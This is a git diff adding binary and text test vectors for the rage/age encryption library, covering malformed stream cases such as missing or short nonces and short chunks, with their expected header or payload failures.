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 F^uaHRls5nX literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_no_nonce b/lib/rage/age/tests/testdata/testkit/stream_no_nonce new file mode 100644 index 0000000..62dcf36 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_no_nonce @@ -0,0 +1,8 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 diff --git a/lib/rage/age/tests/testdata/testkit/stream_short_chunk b/lib/rage/age/tests/testdata/testkit/stream_short_chunk new file mode 100644 index 0000000..13796de --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_short_chunk @@ -0,0 +1,10 @@ +expect: payload failure +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL[æè. ½Ó#Èw \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_short_nonce b/lib/rage/age/tests/testdata/testkit/stream_short_nonce new file mode 100644 index 0000000..06dc835 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_short_nonce @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔ \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_short_second_chunk b/lib/rage/age/tests/testdata/testkit/stream_short_second_chunk new file mode 100644 index 0000000000000000000000000000000000000000..c448186da1a3926baecf0bc1cce37815dc9d6f8a GIT binary patch literal 65975 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 